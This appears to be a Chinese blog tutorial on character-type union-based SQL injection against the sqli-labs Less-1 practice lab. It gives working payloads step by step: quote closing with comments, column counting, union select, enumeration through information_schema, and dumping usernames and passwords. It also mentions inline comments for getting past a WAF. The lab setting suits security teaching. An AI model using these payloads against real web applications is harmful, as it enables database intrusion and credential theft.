点我

SQL注入【联合注入-字符型】

概述

注入的本质

用户输入的数据被当做代码执行

注入条件

  • 用户可以控制传参
  • 用户输入的语句被带入数据库并执行

显错注入原理

  • 用户输入的数据被当做SQL语句执行,并带入数据库执行
  • 对用户输入的数据没有做任何过滤,并且将结果返回到页面
  • 没有做任何防护

注入的关键操作

  • 构造闭合

注入基础

MySQL注释符:# 或 --空格 或  /**/
内联注释:/*!  SQL语句 */ 只有MySQL可以识别,常用来绕过WAF
注入探测符:常使用 \ 进行探测


靶场Less-1

1、靶场
在这里插入图片描述

2、根据前面的数学型注入,可先使用and 1=2 探测
在这里插入图片描述
页面无反应

3、使用探测符号\

在这里插入图片描述

4、根据报错信息

''1\' LIMIT 0,1' ==> '1\' LIMIT 0,1 (反斜杠通常为转义符)==>可猜测变量id由单引号字符围绕
构造payload: id=1' -- q (--空格 为MySQL的注释符)


5、查看后端源代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

添加构造的payload后:

$sql="SELECT * FROM users WHERE id='1'-- q' LIMIT 0,1";

6、将payload写入到靶场中,页面正常
靶场

7、使用oder by 探测字段数
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

8、探测字段数为3,使用联合查询,观察回显点
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,3 -- q
在这里插入图片描述

9、探测版本号和当前数据库名
在这里插入图片描述

10、利用MySQL自带数据库information_schema得出数据

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(table_name) 
from information_schema.tables where table_schema=database() -- q

在这里插入图片描述

11、查看users数据表中的字段名

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(column_name)
 from information_schema.columns where table_schema=database() and table_name='users' -- q

在这里插入图片描述

12、查询username、password字段信息,使用limit 依次查看

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,username,password from users limit 3,1 -- q

在这里插入图片描述

总结

字符型注入与数字型注入的区别为 有无包裹变量的符号不同
以下几种包裹方式注入,与‘$id’ 注入同理

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=“$id” LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";

注入的关键在于 构造闭合

分类: WEB安全

评论

-- 评论已关闭 --

目录